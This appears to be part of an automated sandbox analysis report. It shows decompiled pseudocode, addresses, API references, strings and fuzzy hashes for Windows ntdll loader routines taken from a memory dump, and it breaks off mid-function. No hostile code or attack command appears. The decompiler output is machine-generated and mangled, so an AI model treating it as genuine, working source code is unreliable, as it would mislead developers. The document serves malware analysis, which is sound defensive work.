				_t96 =  *((intOrPtr*)(_t165 + 0x18));
				_t154 =  *((intOrPtr*)(_t96 + _t165 + 0xc)) + _t165;
				if(_t167 <  *((intOrPtr*)(_t96 + _t165 + 8))) {
					asm("lfence");
					_push( &_v20);
					_t169 =  *((intOrPtr*)(_t167 * 0x18 + _t154 + 0x10)) + _t165;
					_push( &_v8);
					_push(1);
					_push(0);
					_push(_t165);
					_t155 = 0x58;
					_push(_t155);
					_push(_t170);
					_push(_a8);
					_push(_a4);
					E6CE31D47( &_v16);
					if(_v12 == 0) {
						return _v16;
					}
					_t20 = _t169 + 8; // 0xffffff98
					_t106 =  *_t20;
					if(_t106 != 0) {
						_t21 = _t106 + 0x5a; // 0xfffffff2
						_t155 = _t21;
					}
					_t22 = _t169 + 0x14; // 0x0
					_t107 =  *_t22;
					if(_t107 != 0) {
						_t155 = _t155 + 2 + _t107;
					}
					_t23 = _t169 + 0x28; // 0xffffffc4
					_t108 =  *_t23;
					if(_t108 != 0) {
						_t155 = _t155 + 2 + _t108;
					}
					_t24 = _t169 + 0x50; // 0xfffffecc
					_t109 =  *_t24;
					if(_t109 != 0) {
						_t155 = _t155 + 2 + _t109;
					}
					if(_t155 <= _a8) {
						_t162 = _a4;
						_t27 = _t169 + 4; // 0x0
						 *_t162 =  *_t27;
						_t28 = _t162 + 0x58; // 0x59
						_t171 = _t28;
						_t29 = _t169 + 8; // 0xffffff98
						 *((intOrPtr*)(_t162 + 4)) =  *_t29;
						_t31 = _t169 + 0x10; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 8)) =  *_t31;
						_t33 = _t169 + 0x14; // 0x0
						 *((intOrPtr*)(_t162 + 0xc)) =  *_t33;
						_t35 = _t169 + 0x1c; // 0x0
						 *((intOrPtr*)(_t162 + 0x10)) =  *_t35;
						_t37 = _t169 + 0x20; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x14)) =  *_t37;
						_t39 = _t169 + 0x24; // 0x0
						 *((intOrPtr*)(_t162 + 0x18)) =  *_t39;
						_t41 = _t169 + 0x28; // 0xffffffc4
						 *((intOrPtr*)(_t162 + 0x1c)) =  *_t41;
						_t43 = _t169 + 0x30; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x20)) =  *_t43;
						_t45 = _t169 + 0x34; // 0x0
						 *((intOrPtr*)(_t162 + 0x24)) =  *_t45;
						_t47 = _t169 + 0x38; // 0x6ce74794
						 *((intOrPtr*)(_t162 + 0x28)) =  *_t47;
						_t49 = _t169 + 0x40; // 0x0
						 *((intOrPtr*)(_t162 + 0x2c)) =  *_t49;
						_t51 = _t169 + 0x44; // 0x6ce747bb
						 *((intOrPtr*)(_t162 + 0x30)) =  *_t51;
						_t53 = _t169 + 0x48; // 0xffffffe4
						 *((intOrPtr*)(_t162 + 0x34)) =  *_t53;
						_t55 = _t169 + 0x4c; // 0x0
						 *((intOrPtr*)(_t162 + 0x38)) =  *_t55;
						_t57 = _t169 + 0x50; // 0xfffffecc
						 *((intOrPtr*)(_t162 + 0x3c)) =  *_t57;
						 *((intOrPtr*)(_t162 + 0x40)) = 0;
						 *((intOrPtr*)(_t162 + 0x44)) = 0;
						 *((intOrPtr*)(_t162 + 0x48)) = 0;
						 *((intOrPtr*)(_t162 + 0x4c)) = 0;
						_t63 = _t169 + 0x58; // 0xfffffffe
						 *((intOrPtr*)(_t162 + 0x50)) =  *_t63;
						if( *(_t169 + 8) != 0) {
							_t66 = _t169 + 8; // 0xffffff98
							_t67 = _t169 + 0xc; // 0x0
							memcpy(_t171,  *_t67 + _v8,  *_t66);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x40) = _t171;
							_t71 = _t169 + 8; // 0xffffff98
							_t174 = _t171 +  *_t71;
							 *_t174 = 0;
							_t171 = _t174 + 2;
						}
						if( *(_t169 + 0x14) != 0) {
							_t73 = _t169 + 0x14; // 0x0
							_t74 = _t169 + 0x18; // 0x6ce74765
							memcpy(_t171,  *_t74 + _v8,  *_t73);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x44) = _t171;
							_t78 = _t169 + 0x14; // 0x0
							_t173 = _t171 +  *_t78;
							 *_t173 = 0;
							_t171 = _t173 + 2;
						}
						if( *(_t169 + 0x28) != 0) {
							_t80 = _t169 + 0x28; // 0xffffffc4
							_t81 = _t169 + 0x2c; // 0x0
							memcpy(_t171,  *_t81 + _v8,  *_t80);
							_t175 = _t175 + 0xc;
							 *(_a4 + 0x48) = _t171;
							_t85 = _t169 + 0x28; // 0xffffffc4
							_t172 = _t171 +  *_t85;
							 *_t172 = 0;
							_t171 = _t172 + 2;
						}
						if( *(_t169 + 0x50) != 0) {
							_t87 = _t169 + 0x50; // 0xfffffecc
							_t88 = _t169 + 0x54; // 0x0
							memcpy(_t171,  *_t88 + _v8,  *_t87);
							 *(_a4 + 0x4c) = _t171;
							_t92 = _t169 + 0x50; // 0xfffffecc
							 *((short*)(_t171 +  *_t92)) = 0;
						}
						_t128 = _a12;
						if(_t128 != 0) {
							 *_t128 = _t155;
						}
						return 0;
					} else {
						if(_t170 != 0) {
							 *_t170 = _t155;
						}
						return 0xc0000023;
					}
				} else {
					_push( *((intOrPtr*)(_t96 + _t165 + 8)));
					_push(_t167);
					E6CE95720(0x33, 0, "SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context\n", "RtlpQueryAssemblyInformationActivationContextDetailedInformation");
					return 0xc000000d;
				}
			}

0x6ce944a0
0x6ce944a4
0x6ce944a6
0x6ce944ad
0x6ce944b1
0x6ce944b6
0x6ce944b8
0x6ce944b8
0x6ce944ba
0x6ce944c1
0x6ce944c7
0x6ce944f0
0x6ce944fa
0x6ce944fe
0x6ce94500
0x6ce94504
0x6ce94506
0x6ce94507
0x6ce9450a
0x6ce9450b
0x6ce9450c
0x6ce9450d
0x6ce94513
0x6ce94517
0x6ce94523
0x00000000
0x6ce94698
0x6ce94529
0x6ce94529
0x6ce9452e
0x6ce94530
0x6ce94530
0x6ce94530
0x6ce94533
0x6ce94533
0x6ce94538
0x6ce9453d
0x6ce9453d
0x6ce9453f
0x6ce9453f
0x6ce94544
0x6ce94549
0x6ce94549
0x6ce9454b
0x6ce9454b
0x6ce94550
0x6ce94555
0x6ce94555
0x6ce9455a
0x6ce9456c
0x6ce9456f
0x6ce94572
0x6ce94574
0x6ce94574
0x6ce94577
0x6ce9457a
0x6ce9457d
0x6ce94580
0x6ce94583
0x6ce94586
0x6ce94589
0x6ce9458c
0x6ce9458f
0x6ce94592
0x6ce94595
0x6ce94598
0x6ce9459b
0x6ce9459e
0x6ce945a1
0x6ce945a4
0x6ce945a7
0x6ce945aa
0x6ce945ad
0x6ce945b0
0x6ce945b3
0x6ce945b6
0x6ce945b9
0x6ce945bc
0x6ce945bf
0x6ce945c2
0x6ce945c5
0x6ce945c8
0x6ce945cb
0x6ce945ce
0x6ce945d3
0x6ce945d6
0x6ce945d9
0x6ce945dc
0x6ce945df
0x6ce945e2
0x6ce945e9
0x6ce945eb
0x6ce945ee
0x6ce945f6
0x6ce945fe
0x6ce94601
0x6ce94606
0x6ce94606
0x6ce94609
0x6ce9460c
0x6ce9460c
0x6ce94613
0x6ce94615
0x6ce94618
0x6ce94620
0x6ce94628
0x6ce9462b
0x6ce94630
0x6ce94630
0x6ce94633
0x6ce94636
0x6ce94636
0x6ce9463d
0x6ce9463f
0x6ce94642
0x6ce9464a
0x6ce94652
0x6ce94655
0x6ce9465a
0x6ce9465a
0x6ce9465d
0x6ce94660
0x6ce94660
0x6ce94667
0x6ce94669
0x6ce9466c
0x6ce94674
0x6ce94681
0x6ce94684
0x6ce94687
0x6ce94687
0x6ce9468b
0x6ce94690
0x6ce94692
0x6ce94692
0x00000000
0x6ce9455c
0x6ce9455e
0x6ce94560
0x6ce94560
0x00000000
0x6ce94562
0x6ce944c9
0x6ce944c9
0x6ce944cd
0x6ce944db
0x00000000
0x6ce944e3

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6CE517F0,00000000,?,?), ref: 6CE944DB

Part of subcall function 6CE31D47: memset.1105(00000000,00000000,6CE517F0,?,00000001,00000000,?,6CE08D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6CE31D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6CE517F0,00000000,?,?), ref: 6CE945F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6CE517F0,00000000,?,?), ref: 6CE94620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6CE517F0,00000000,?,?), ref: 6CE9464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6CE517F0,00000000,?,?), ref: 6CE94674

Strings

SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6CE944D3
RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6CE944CE

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: 3894161173e4a30085ad5bc0358f14a488794e9f0c8a2c6c9995a7442d2abc38
Instruction ID: d5c749519021602724a64722d3e1fd2df00a35075372625efbb481d6a599b505
Opcode Fuzzy Hash: 3894161173e4a30085ad5bc0358f14a488794e9f0c8a2c6c9995a7442d2abc38
Instruction Fuzzy Hash: 78810DB5A01606EFD750CF69C880A99B7F4FF08318B25456AE818DBB01E331F966CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CE042EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6CE042EB(void* __ecx) {
				int _v8;
				void* _v12;
				void* _t25;
				void* _t29;
				int _t32;
				int _t35;
				intOrPtr _t37;
				char* _t40;
				intOrPtr _t42;
				int _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t52;
				void* _t54;
				void* _t55;

				_push(__ecx);
				_push(__ecx);
				_t37 =  *((intOrPtr*)(__ecx + 0x18));
				_t52 = 0;
				E6CE1E9C0(3, _t37, 0, 0,  &_v12);
				_t49 = _v12;
				_t42 =  *((intOrPtr*)(_t49 + 0x78));
				if(_t42 != 0) {
					if( *((intOrPtr*)(_t49 + 0x7c)) <= 0) {
						goto L1;
					}
					_t46 =  *((intOrPtr*)(_t49 + 0x50));
					if(_t42 >= _t46 - 0xd) {
						goto L1;
					}
					_t43 =  *((intOrPtr*)(_t42 + _t37 + 0xc));
					if( *((intOrPtr*)(_t42 + _t37 + 0xc)) > _t46 - 0xc) {
						goto L1;
					}
					_push(0xc);
					_t29 = E6CE4E000(_t43 + _t37, "secserv.dll");
					_t55 = _t54 + 0xc;
					if(_t29 != 0) {
						goto L1;
					}
					_t40 = _t49 + 0x18 + ( *(_t49 + 0x14) & 0x0000ffff);
					_t45 = 1;
					_t32 = 1;
					_v12 = 1;
					_v8 = 1;
					if(0 >=  *(_t49 + 6)) {
						goto L1;
					} else {
						L9:
						while(1) {
							if(_t32 != 0) {
								_t35 = strncmp(_t40, ".txt", 5);
								_t45 = _v12;
								_t55 = _t55 + 0xc;
								_v8 = _t35;
							}
							if(_t45 != 0) {
								_t45 = strncmp(_t40, ".txt2", 6);
								_t55 = _t55 + 0xc;
								_v12 = _t45;
							}
							if(_v8 != 0 || _t45 != 0) {
								_t40 =  &(_t40[0x28]);
								_t52 = _t52 + 1;
								if(_t52 >= ( *(_t49 + 6) & 0x0000ffff)) {
									goto L1;
								}
								_t32 = _v8;
								continue;
							} else {
								_t25 = 1;
								L2:
								return _t25;
							}
						}
					}
				}
				L1:
				_t25 = 0;
				goto L2;
			}

0x6ce042f0
0x6ce042f1
0x6ce042f3
0x6ce042fc
0x6ce04303
0x6ce04308
0x6ce0430b
0x6ce04310
0x6ce0431e
0x00000000
0x00000000
0x6ce04320
0x6ce04328
0x00000000
0x00000000
0x6ce0432a
0x6ce04333
0x00000000
0x00000000
0x6ce04335
0x6ce04340
0x6ce04345
0x6ce0434a
0x00000000
0x00000000
0x6ce606b7
0x6ce606bd
0x6ce606be
0x6ce606bf
0x6ce606c4
0x6ce606cb
0x00000000
0x00000000
0x00000000
0x6ce606d1
0x6ce606d3
0x6ce606dd
0x6ce606e2
0x6ce606e5
0x6ce606e8
0x6ce606e8
0x6ce606ed
0x6ce606fc
0x6ce606fe
0x6ce60701
0x6ce60701
0x6ce60708
0x6ce60719
0x6ce6071c
0x6ce6071f
0x00000000
0x00000000
0x6ce60725
0x00000000
0x6ce6070e
0x6ce6070e
0x6ce04314
0x6ce0431a
0x6ce0431a
0x6ce60708
0x6ce606d1
0x6ce606cb
0x6ce04312
0x6ce04312
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6CE04176,00000003,?,00000000,00000000), ref: 6CE04303
_strnicmp.1105(?,secserv.dll,0000000C,00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6CE04176,00000003), ref: 6CE04340
strncmp.1105(?,.txt,00000005), ref: 6CE606DD
strncmp.1105(?,.txt2,00000006), ref: 6CE606F7

Strings

secserv.dll, xrefs: 6CE0433A
.txt, xrefs: 6CE606D7
.txt2, xrefs: 6CE606F1

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage_strnicmp
String ID: .txt$.txt2$secserv.dll
API String ID: 290936131-436433099
Opcode ID: f4b80e9d0831994bfd064b052fe13191930d756a97e9e6a32f5a5c64243b99b4
Instruction ID: f59bb9aff9c271df8687fa09b4dd04d4c4138f2e91d76fae33f040c71c35942b
Opcode Fuzzy Hash: f4b80e9d0831994bfd064b052fe13191930d756a97e9e6a32f5a5c64243b99b4
Instruction Fuzzy Hash: 5D21E4B0A40216E7DB04DF568880AAFFB79BB4130CF24556DE50597E40F334E965DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE10C30, Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 77
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6CE10C30(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t20;
				void* _t24;
				void* _t27;
				intOrPtr _t29;
				void* _t37;
				intOrPtr* _t40;
				intOrPtr* _t42;
				signed int _t43;
				void* _t44;
				intOrPtr _t45;

				_t30 = __ecx;
				_push(0xfffffffe);
				_push(0x6cedf8f8);
				_push(0x6ce517f0);
				_push( *[fs:0x0]);
				_t45 = _t44 - 0x18;
				_push(_t27);
				_t20 =  *0x6cefd360;
				_v12 = _v12 ^ _t20;
				_push(_t20 ^ _t43);
				 *[fs:0x0] =  &_v20;
				_v28 = _t45;
				_t37 = __edx;
				_v32 = __ecx;
				E6CE2FAD0(0x6cef8550);
				_t40 =  *0x6cef5368; // 0x6cef5368
				if(_t40 == 0x6cef5368) {
					L3:
					_t40 = 0;
					L4:
					_t24 = E6CE2FA00(_t27, _t30, _t37, 0x6cef8550);
					if(_t40 == 0) {
						L9:
						 *[fs:0x0] = _v20;
						return _t24;
					}
					_t42 =  *((intOrPtr*)(_t40 + 0x14));
					if(_t42 == 0) {
						goto L9;
					}
					_v8 = 0;
					while(1) {
						_t29 =  *_t42;
						if(_t29 == 0) {
							break;
						}
						_v36 = _t29;
						_t42 = _t42 + 4;
						_v40 = _t42;
						__eflags =  *0x6cef5780 & 0x00000005;
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t37 + 0x18)));
							_t18 = _t37 + 0x24; // 0xcf
							E6CE85510("minkernel\\ntdll\\ldrtls.c", 0x425, "LdrpCallTlsInitializers", 2, "Calling TLS callback %p for DLL \"%wZ\" at %p\n", _t29);
							_t45 = _t45 + 0x20;
						}
						_push(0);
						_push(_v32);
						_t24 = E6CE1FC01(_t29, _t29,  *((intOrPtr*)(_t37 + 0x18)), _t37, _t42, __eflags);
					}
					_v8 = 0xfffffffe;
					goto L9;
				}
				while( *((intOrPtr*)(_t40 + 0x20)) != _t37) {
					_t40 =  *_t40;
					if(_t40 != 0x6cef5368) {
						continue;
					}
					goto L3;
				}
				goto L4;
			}

0x6ce10c30
0x6ce10c35
0x6ce10c37
0x6ce10c3c
0x6ce10c47
0x6ce10c48
0x6ce10c4b
0x6ce10c4e
0x6ce10c53
0x6ce10c58
0x6ce10c5c
0x6ce10c62
0x6ce10c65
0x6ce10c67
0x6ce10c6f
0x6ce10c74
0x6ce10c80
0x6ce10c91
0x6ce10c91
0x6ce10c93
0x6ce10c98
0x6ce10c9f
0x6ce10cbd
0x6ce10cc0
0x6ce10cce
0x6ce10cce
0x6ce10ca1
0x6ce10ca6
0x00000000
0x00000000
0x6ce10ca8
0x6ce10cb0
0x6ce10cb0
0x6ce10cb4
0x00000000
0x00000000
0x6ce10ccf
0x6ce10cd2
0x6ce10cd5
0x6ce10cd8
0x6ce10cdf
0x6ce66424
0x6ce66427
0x6ce66442
0x6ce66447
0x6ce66447
0x6ce10ce5
0x6ce10ce7
0x6ce10cef
0x6ce10cef
0x6ce10cb6
0x00000000
0x6ce10cb6
0x6ce10c82
0x6ce10c87
0x6ce10c8f
0x00000000
0x00000000
0x00000000
0x6ce10c8f
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6CEF8550,?,?,00000000,000000FF,6CEDF868,00000038,6CE0F563), ref: 6CE10C6F
RtlReleaseSRWLockShared.1105(6CEF8550,6CEF8550,?,?,00000000,000000FF,6CEDF868,00000038,6CE0F563), ref: 6CE10C98

Strings

Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6CE6642C
minkernel\ntdll\ldrtls.c, xrefs: 6CE6643D
hSl, xrefs: 6CE10C89
LdrpCallTlsInitializers, xrefs: 6CE66433
hSl, xrefs: 6CE10C7A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$hSl$hSl$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-954859255
Opcode ID: 76152715dc6d9906c3c014bc27d84106de303ff452c4878774b5b190dc75442f
Instruction ID: e74fde7c9ed4dc729f8143b6473734a2890e8c2a63c533f4aa47b7cfc4c8c911
Opcode Fuzzy Hash: 76152715dc6d9906c3c014bc27d84106de303ff452c4878774b5b190dc75442f
Instruction Fuzzy Hash: BB210271D05758ABCB10DF59C841F5ABBB5FB49618F31461EE82523F40E374A8258BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6CE041F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6CE041F7(intOrPtr __ecx) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				int _t26;
				int _t31;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				void* _t37;
				intOrPtr _t39;
				void* _t40;
				char* _t42;
				void* _t43;
				int _t49;

				_t33 = __ecx;
				_v12 = __ecx;
				E6CE1E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v8);
				_t40 = 0;
				_t34 = _v8;
				_v16 =  *((intOrPtr*)(_t33 + 0x1c));
				_t42 = _t34 + 0x18 + ( *(_t34 + 0x14) & 0x0000ffff);
				if(0 >=  *(_t34 + 6)) {
					L8:
					return 0;
				} else {
					goto L1;
				}
				do {
					L1:
					if(_t42[0xc] != 0 && _t42[8] != 0) {
						_t26 = strncmp(_t42, ".aspack", 8);
						_t43 = _t43 + 0xc;
						if(_t26 == 0) {
							L11:
							_t39 = _v16;
							_t37 = _t42[0xc] +  *((intOrPtr*)(_v12 + 0x18));
							if(_t39 >= _t37 && _t39 <= _t42[8] + _t37) {
								L6:
								if(_t49 == 0) {
									return 1;
								}
							}
							goto L7;
						}
						_t31 = strncmp(_t42, ".pcle", 6);
						_t43 = _t43 + 0xc;
						if(_t31 == 0) {
							goto L11;
						}
						_t32 = strncmp(_t42, ".sforce", 8);
						_t43 = _t43 + 0xc;
						_t49 = _t32;
						goto L6;
					}
					L7:
					_t40 = _t40 + 1;
					_t42 =  &(_t42[0x28]);
				} while (_t40 < ( *(_t34 + 6) & 0x0000ffff));
				goto L8;
			}

0x6ce04205
0x6ce0420f
0x6ce04214
0x6ce0421c
0x6ce0421e
0x6ce04221
0x6ce0422b
0x6ce04233
0x6ce04291
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce04235
0x6ce04235
0x6ce04239
0x6ce04249
0x6ce0424e
0x6ce04253
0x6ce6064c
0x6ce60652
0x6ce60655
0x6ce6065a
0x6ce04283
0x6ce04283
0x00000000
0x6ce0429a
0x6ce04283
0x00000000
0x6ce6065a
0x6ce04261
0x6ce04266
0x6ce0426b
0x00000000
0x00000000
0x6ce04279
0x6ce0427e
0x6ce04281
0x00000000
0x6ce04281
0x6ce04285
0x6ce04289
0x6ce0428a
0x6ce0428d
0x00000000

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6CE04214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6CE04249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6CE04261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6CE04279

Strings

.sforce, xrefs: 6CE04273
.pcle, xrefs: 6CE0425B
.aspack, xrefs: 6CE04243

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: 8b11a7ecd36bedfe3d941676912dbade375683879f02d6d1117730d140d22383
Instruction ID: bc5d997f3bf46039d9b5fa9c0ee0c1ca66041ce41da667347c26f85341032eb9
Opcode Fuzzy Hash: 8b11a7ecd36bedfe3d941676912dbade375683879f02d6d1117730d140d22383
Instruction Fuzzy Hash: EB21F631B422006AEB108F95DD81B9FB3B5AF5430CF20846AED0896F46E630EDA5CAD5

Uniqueness

Uniqueness Score: -1.00%

Function 6CE1EC7F, Relevance: 12.3, APIs: 8, Instructions: 256
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE1EC7F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t65;
				intOrPtr* _t67;
				intOrPtr _t69;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				intOrPtr _t76;
				signed int _t77;
				void* _t78;
				intOrPtr _t80;
				signed int _t81;
				void* _t83;
				void* _t85;
				intOrPtr _t90;
				void* _t91;
				void* _t96;
				void _t99;
				intOrPtr* _t104;
				intOrPtr* _t106;
				unsigned int _t112;
				unsigned int _t114;
				intOrPtr* _t115;
				void* _t118;
				intOrPtr _t120;
				unsigned int _t122;
				unsigned int _t124;
				intOrPtr* _t125;
				intOrPtr* _t129;
				intOrPtr* _t134;
				intOrPtr* _t136;
				void* _t138;
				signed int* _t140;
				void* _t141;
				void* _t143;
				void* _t146;
				intOrPtr _t148;
				void* _t149;
				void* _t151;
				void* _t153;

				_push(_t96);
				_t146 = __ecx;
				_push(_t138);
				_t65 =  *(__ecx + 0x50);
				if( *((intOrPtr*)(_t65 + 0xc)) == 0xffffffff) {
					L3:
					return _t65;
				} else {
					_t65 =  *_t65;
					if(( *(_t65 - 0x20) & 0x00000020) != 0) {
						goto L3;
					} else {
						_t65 = _t65 | 0xffffffff;
						asm("lock xadd [esi+0x9c], eax");
						if(_t65 == 0) {
							E6CE22280(_t65, 0x6cef84d8);
							_t67 = _t146 + 0x54;
							_t120 =  *_t67;
							if( *((intOrPtr*)(_t120 + 4)) != _t67) {
								L15:
								_push(3);
								asm("int 0x29");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0x30);
								_push(0x6cedfb78);
								E6CE5D08C(_t96, _t138, _t146);
								_t148 =  *((intOrPtr*)(_t153 + 8));
								if(_t148 == 0) {
									L59:
									_t69 = 0xc000000d;
								} else {
									_t140 =  *(_t153 + 0x14);
									if(_t140 == 0) {
										goto L59;
									} else {
										 *((intOrPtr*)(_t153 - 4)) = 0;
										if( *((intOrPtr*)(_t153 + 0xc)) >= 0x10000) {
											_t122 =  *(_t148 + 0x58) >> 1;
											 *(_t153 - 0x20) = _t122;
											_t104 =  *((intOrPtr*)(_t148 + 0x54)) + _t148;
											 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
											if(_t104 <= 0x10000) {
												L37:
												if( *_t104 == 0) {
													goto L54;
												} else {
													_t72 = 1;
													if(_t122 <= 0) {
														goto L54;
													}
												}
											} else {
												while(_t122 > 0) {
													if( *_t104 == 0) {
														L54:
														_t72 = 0;
													} else {
														_t78 = E6CE4E490( *((intOrPtr*)(_t153 + 0xc)), _t104);
														_t104 =  *((intOrPtr*)(_t153 - 0x1c));
														if(_t78 != 0) {
															_t129 = _t104;
															_t54 = _t129 + 2; // 0x22
															 *((intOrPtr*)(_t153 - 0x2c)) = _t54;
															do {
																_t80 =  *_t129;
																_t129 = _t129 + 2;
															} while (_t80 != 0);
															_t81 = (_t129 -  *((intOrPtr*)(_t153 - 0x2c)) >> 1) + 1;
															_t104 = _t104 + _t81 * 2;
															 *((intOrPtr*)(_t153 - 0x1c)) = _t104;
															_t122 =  *(_t153 - 0x20) - _t81;
															 *(_t153 - 0x20) = _t122;
															continue;
														} else {
															_t122 =  *(_t153 - 0x20);
															goto L37;
														}
													}
													goto L39;
												}
												goto L37;
											}
											L39:
											if(_t72 == 0) {
												 *_t140 =  *_t140 | 0x00040000;
											}
											_t124 =  *(_t148 + 0x68) >> 1;
											 *(_t153 - 0x28) = _t124;
											_t106 =  *((intOrPtr*)(_t148 + 0x64)) + _t148;
											 *((intOrPtr*)(_t153 - 0x24)) = _t106;
											if(_t106 <= 0x10000) {
												L56:
												if( *_t106 == 0 || _t124 <= 0) {
													goto L29;
												} else {
													_t73 = 1;
												}
											} else {
												while(_t124 > 0) {
													if( *_t106 == 0) {
														L29:
														_t73 = 0;
													} else {
														_t75 = E6CE4E490( *((intOrPtr*)(_t153 + 0xc)), _t106);
														_t106 =  *((intOrPtr*)(_t153 - 0x24));
														if(_t75 == 0) {
															_t124 =  *(_t153 - 0x28);
															goto L56;
														} else {
															_t125 = _t106;
															_t47 = _t125 + 2; // 0xc00000e7
															_t149 = _t47;
															do {
																_t76 =  *_t125;
																_t125 = _t125 + 2;
															} while (_t76 != 0);
															_t48 = (_t125 - _t149 >> 1) + 1; // 0xc00000e4
															_t77 = _t48;
															_t106 = _t106 + _t77 * 2;
															 *((intOrPtr*)(_t153 - 0x24)) = _t106;
															_t124 =  *(_t153 - 0x28) - _t77;
															 *(_t153 - 0x28) = _t124;
															continue;
														}
													}
													goto L30;
												}
												goto L56;
											}
											L30:
											if(_t73 != 0) {
												goto L27;
											} else {
												goto L31;
											}
											goto L62;
										} else {
											_t112 =  *(_t148 + 0x60) >> 2;
											 *(_t153 - 0x30) = _t112;
											_t134 =  *((intOrPtr*)(_t148 + 0x5c)) + _t148;
											 *((intOrPtr*)(_t153 - 0x34)) = _t134;
											while(1) {
												_t112 = _t112 - 1;
												 *(_t153 - 0x30) = _t112;
												if(_t112 < 0) {
													break;
												}
												_t85 =  *((intOrPtr*)(_t153 + 0xc)) -  *_t134;
												_t134 = _t134 + 4;
												 *((intOrPtr*)(_t153 - 0x34)) = _t134;
